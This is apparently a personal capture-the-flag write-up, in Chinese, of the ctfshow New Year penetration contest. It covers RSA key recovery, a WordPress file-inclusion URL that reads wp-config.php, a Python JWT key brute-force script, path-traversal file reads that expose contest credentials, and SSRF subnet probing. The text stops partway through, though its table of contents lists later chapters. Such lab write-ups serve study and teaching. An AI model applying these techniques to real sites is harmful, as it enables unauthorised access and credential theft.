目录

  1. 1. 前言
  2. 2. 第一章
    1. 2.1. 启程
    2. 2.2. 破解加密通讯
    3. 2.3. 潜入敌营
      1. 2.3.1. 路由
  3. 3. 第二章(Fastapi)
    1. 3.1. 秘密潜伏
    2. 3.2. 收集敌方身份信息
      1. 3.2.1. 文件读取
      2. 3.2.2. init_users.json
      3. 3.2.3. main.py.bak
      4. 3.2.4. requirements.txt
    3. 3.3. 横向渗透
  4. 4. 第三章(PHP)
    1. 4.1. 跳岛战术
      1. 4.1.1. getshell
    2. 4.2. 邮箱迷云
      1. 4.2.1. 非预期
      2. 4.2.2. 预期
  5. 5. 第四章(Flask)
    1. 5.1. 再下一城
    2. 5.2. 顺藤摸瓜(复现)
  6. 6. 第五章(Jetty)
    1. 6.1. 艰难的最后一步
    2. 6.2. 功亏一篑(复现)
    3. 6.3. 今日方知我是我(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow元旦渗透赛

2024/12/31 渗透
  |     |   总文章阅读量:

前言

马上就要期末考但还是来打了,给3-1困了好几天,还好最后没挂科(

官方wp:https://ysynrh77rj.feishu.cn/docx/F3nJdGJHjo1DSBx8c2TcecLrnvh


第一章

启程

出师未捷身先死

hint:

633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

仔细看一下三行应该是代表n,p,q

还给了加密压缩包,不会misc,启程失败(

哎卧槽怎么是爆6位数字

image-20241231203107904

难绷

flag:ctfshow{654321}


破解加密通讯

image-20241231203318579

if __name__ == '__main__':
    try:
        import secretMessageResponse
    except ImportError:
        import pip
        pip.main(['install', 'secretMessageResponse'])
        from secretMessageResponse import printMessage

这个是所谓的特工保密的通讯手法

pip secretMessageResponse 库下来看看源码

printMessage.py

import base64,datetime


message = {
    "inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
    "inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
    "inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',

}



def printMessage():
    for key, value in message.items():
        title = key.replace('inputMessage_', '')
        print("\033[1;31m" + "请使用组织分配的私钥解密后使用" + "\033[0m")
        title = datetime.datetime.strptime(title, '%Y%m%d').strftime('%Y-%m-%d')
        print("----------------------------------------------------------")
        print(title)
        print(value)
        print("----------------------------------------------------------")
        print("\n")


# 最新流通公钥
def getPublicKey():
    return b'''
    -----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''

def enctryptMessage(message):
    import base64
    message_bytes = message.encode('utf-8')  
    message_base64 = base64.b64encode(message_bytes).decode('utf-8')
    publicKey = getPublicKey()
    from cryptography.hazmat.backends import default_backend
    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    from cryptography.hazmat.primitives import hashes
    public_key = serialization.load_pem_public_key(publicKey, backend=default_backend())
    encrypted = public_key.encrypt(
        message_base64.encode('utf-8'),
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    encrypted_base64 = base64.b64encode(encrypted).decode('utf-8')
    return encrypted_base64


printMessage()

那么我们尝试调用一下这个 printMessage

直接执行from secretMessageResponse import printMessage

请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-12-16
gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=
----------------------------------------------------------


请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-04-11
Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=
----------------------------------------------------------


请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-03-05
ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=
----------------------------------------------------------

用hint.txt给的p,q生成私钥

from Crypto.Util.number import *
from Crypto.PublicKey import RSA

e = 65537
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
n = p*q
phi = (p-1)*(q-1)
d = inverse(65537,phi)
key = (n,e,d)
private = RSA.construct(key)
with open("privatekey.pem","wb") as f:
    f.write(private.export_key())

image-20241231212646503

2024-03-05
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改 
发送人:Dylan

2024-04-11
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接 
发送人:Dylan

2024-12-16
Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan

flag:ctfshow{https://task.ctfer.com}


潜入敌营

启动靶机,dirsearch 扫出 openapi.json,是个 fastapi 服务

{
  "openapi": "3.1.0",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/login": {
      "post": {
        "summary": "Login",
        "operationId": "login_login_post",
        "requestBody": {
          "content": {
            "application/x-www-form-urlencoded": {
              "schema": {
                "$ref": "#/components/schemas/Body_login_login_post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Token"
                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/": {
      "get": {
        "summary": "Root",
        "operationId": "root__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/task_newest": {
      "get": {
        "summary": "Task Newest",
        "operationId": "task_newest_task_newest_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/task_completed": {
      "get": {
        "summary": "Task Completed",
        "operationId": "task_completed_task_completed_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/task_cancelled": {
      "get": {
        "summary": "Task Cancelled",
        "operationId": "task_cancelled_task_cancelled_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/message_inbox": {
      "get": {
        "summary": "Message Inbox",
        "operationId": "message_inbox_message_inbox_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/message_sent": {
      "get": {
        "summary": "Message Sent",
        "operationId": "message_sent_message_sent_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/messageBox": {
      "get": {
        "summary": "Messagebox",
        "operationId": "messageBox_messageBox_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/listTaskFiles": {
      "get": {
        "summary": "Listtaskfiles",
        "operationId": "listTaskFiles_listTaskFiles_get",
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ],
        "parameters": [
          {
            "name": "path",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "taskfiles",
              "title": "Path"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/readTaskFile": {
      "get": {
        "summary": "Readtaskfile",
        "operationId": "readTaskFile_readTaskFile_get",
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ],
        "parameters": [
          {
            "name": "path",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "taskfiles",
              "title": "Path"
            }
          },
          {
            "name": "file_name",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "",
              "title": "File Name"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/downloadTaskFile": {
      "get": {
        "summary": "Downloadtaskfile",
        "operationId": "downloadTaskFile_downloadTaskFile_get",
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ],
        "parameters": [
          {
            "name": "url",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "",
              "title": "Url"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/getPhone": {
      "get": {
        "summary": "Getphone",
        "operationId": "getPhone_getPhone_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/getServerInfo": {
      "get": {
        "summary": "Getip",
        "operationId": "getIP_getServerInfo_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/checkServer": {
      "get": {
        "summary": "Checkserver",
        "operationId": "checkServer_checkServer_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "Body_login_login_post": {
        "properties": {
          "grant_type": {
            "anyOf": [
              {
                "type": "string",
                "pattern": "password"
              },
              {
                "type": "null"
              }
            ],
            "title": "Grant Type"
          },
          "username": {
            "type": "string",
            "title": "Username"
          },
          "password": {
            "type": "string",
            "title": "Password"
          },
          "scope": {
            "type": "string",
            "title": "Scope",
            "default": ""
          },
          "client_id": {
            "anyOf": [
              {
                "type": "string"
              },
              {
                "type": "null"
              }
            ],
            "title": "Client Id"
          },
          "client_secret": {
            "anyOf": [
              {
                "type": "string"
              },
              {
                "type": "null"
              }
            ],
            "title": "Client Secret"
          }
        },
        "type": "object",
        "required": [
          "username",
          "password"
        ],
        "title": "Body_login_login_post"
      },
      "HTTPValidationError": {
        "properties": {
          "detail": {
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            },
            "type": "array",
            "title": "Detail"
          }
        },
        "type": "object",
        "title": "HTTPValidationError"
      },
      "Token": {
        "properties": {
          "access_token": {
            "type": "string",
            "title": "Access Token"
          },
          "token_type": {
            "type": "string",
            "title": "Token Type"
          }
        },
        "type": "object",
        "required": [
          "access_token",
          "token_type"
        ],
        "title": "Token"
      },
      "ValidationError": {
        "properties": {
          "loc": {
            "items": {
              "anyOf": [
                {
                  "type": "string"
                },
                {
                  "type": "integer"
                }
              ]
            },
            "type": "array",
            "title": "Location"
          },
          "msg": {
            "type": "string",
            "title": "Message"
          },
          "type": {
            "type": "string",
            "title": "Error Type"
          }
        },
        "type": "object",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "title": "ValidationError"
      }
    },
    "securitySchemes": {
      "OAuth2PasswordBearer": {
        "type": "oauth2",
        "flows": {
          "password": {
            "scopes": {},
            "tokenUrl": "login"
          }
        }
      }
    }
  }
}

路由

[
    "/login",
    "/",
    "/task_newest",
    "/task_completed",
    "/task_cancelled",
    "/message_inbox",
    "/message_sent",
    "/messageBox",
    "/listTaskFiles",
    "/readTaskFile",
    "/downloadTaskFile",
    "/getPhone",
    "/getServerInfo",
    "/checkServer"
]

然后猜测得去前面提到的某动保站实际打点一下了,是个wordpress

直接wpscan扫一下:

image-20250101173857446

发现有个文件包含,看下poc:https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b/

http://example.com/?aam-media=wp-config.php

下载 wp-config.php 得到数据库账密

image-20250101174014694

flag:ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}


第二章(Fastapi)

秘密潜伏

账密 hsinchug_wp1:Q.4Vyj8VCiedX1KYU5g05

image-20250101174252508

发现key

image-20250101174645000

key:4a4f7d6e8b5??Dc7f

总之先把之前 fastapi 的每个接口都测一遍:

image-20250101180655730

以下路由需要高权限

/listTaskFiles
/readTaskFile
/downloadTaskFile

现在准备写脚本爆破 jwt

import string
import jwt
import itertools
import requests
from tqdm import *

# 定义 Payload 数据
payload = {
    "sub": "dylan",
    "exp": 1735985106
}


# 生成所有可能的替换字符
possible_chars = "0123456789abcdef"
combinations = itertools.product(possible_chars, repeat=3)

# 遍历所有可能的替换字符组合
for i in tqdm(combinations):
    chars = ''.join(i)
    modified_key = "4a4f7d6e8b5" + chars + "0c7f"
    # print(modified_key)
    # # 生成 JWT
    token = jwt.encode(payload, (modified_key), algorithm='HS256')
    # print(token)

    headers = {'Authorization': f'Bearer {token}'}
    # 发送 HTTP 请求
    url = 'http://94e3c5a5-9608-4bf6-bc9a-519026a4f79c.challenge.ctf.show/'
    res = requests.get(url, headers=headers)

    if res.status_code == 200:
        print(modified_key)
        print(token)
        break

爆出key:4a4f7d6e8b5e3a0c7f

token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNTk4NTEwNn0.7lqthRIUXMlHFLv8J25BF2qzoMn6EbXaJHeLLKuy6VI

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjA4NTIwOH0.qCHIJugF1Q4TQexDG_vydZbJhUPz9WWXs4_ikK9pagI

访问 /getPhone 接口拿到 dylan 的电话号码

image-20250103181859746

flag:ctfshow{117447685307}


收集敌方身份信息

以 dylan 身份过一遍接口

image-20250103182341919

那么 dylan 的账密为dylan:8f7a55c6d9a7d9a7

image-20250103182223469

文件读取

使用 /listTaskFiles?path遍历目录,发现不能目录穿越,测了一下把 /\ ban了,但是..能用

使用 /readTaskFile?path=&file_name= 读取文件,同样有上面的waf,而且还ban了app.py

image-20250103182732770

init_users.json

{
    "hsinchug_wp1": {
        "username": "hsinchug_wp1",
        "password": "Q.4Vyj8VCiedX1KYU5g05"
    },
    "dylan": {
        "username": "dylan",
        "password": "8f7a55c6d9a7d9a7"
    },
    "secret_user": {
        "username": "root",
        "password": "7y.(sc#Ac_"
    }
}

flag:ctfshow{7y.(sc#Ac_}

main.py.bak

from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
    session['user'] = 'guest'
    return {'message': 'log server is running'}

def check_session():
    if 'user' not in session:
        return False
    if session['user'] != 'admin':
        return False
    return True

@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()
        return {'message': 'key', 'key': key}

@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}

    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/' + logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/' + logFile)
    return {'message': 'log option set successfully'}

@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}

    logFile = request.args.get('logFile')
    path = join('log', basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)

requirements.txt

annotated-types==0.6.0
anyio==4.3.0
bcrypt==4.2.1
black==24.10.0
blinker==1.8.2
certifi==2024.2.2
cffi==1.17.1
charset-normalizer==3.3.2
click==8.1.7
colorama==0.4.6
cos-python-sdk-v5==1.9.33
crcmod==1.7
cryptography==44.0.0
dnspython==2.6.1
docutils==0.21.2
email_validator==2.1.1
fastapi==0.115.6
fastapi-cli==0.0.3
Flask==3.0.3
greenlet==3.0.3
h11==0.14.0
httpcore==1.0.5
httptools==0.6.1
httpx==0.27.0
idna==3.6
itsdangerous==2.2.0
jaraco.classes==3.4.0
jaraco.context==6.0.1
jaraco.functools==4.1.0
Jinja2==3.1.4
keyring==25.5.0
markdown-it-py==3.0.0
MarkupSafe==2.1.5
mdurl==0.1.2
more-itertools==10.5.0
mypy-extensions==1.0.0
nh3==0.2.20
orjson==3.10.3
packaging==24.2
passlib==1.7.4
pathspec==0.12.1
pkginfo==1.12.0
platformdirs==4.3.6
pycparser==2.22
pycryptodome==3.21.0
pydantic==2.7.1
pydantic_core==2.18.2
Pygments==2.18.0
PyJWT==2.10.1
PyMySQL==1.1.0
python-dotenv==1.0.1
python-multipart==0.0.9
pywin32-ctypes==0.2.3
PyYAML==6.0.1
readme_renderer==44.0
requests==2.31.0
requests-toolbelt==1.0.0
rfc3986==2.0.0
rich==13.7.1
secretMessageResponse==2.0.17
setuptools==75.6.0
shellingham==1.5.4
six==1.17.0
sniffio==1.3.1
SQLAlchemy==2.0.30
sqlmodel==0.0.22
starlette==0.41.3
tencentcloud-sdk-python==3.0.1145
twine==6.0.1
typer==0.12.3
typing_extensions==4.11.0
ujson==5.10.0
urllib3==2.2.1
uvicorn==0.29.0
watchfiles==0.21.0
websockets==12.0
Werkzeug==3.0.3
xmltodict==0.14.2

image-20250103184410216

这里都是实体类没东西


横向渗透

在 /downloadTaskFile 这里测试前面 /getServerInfo 接口获取的 ip c段,测出内网php服务

image-20250103185859314

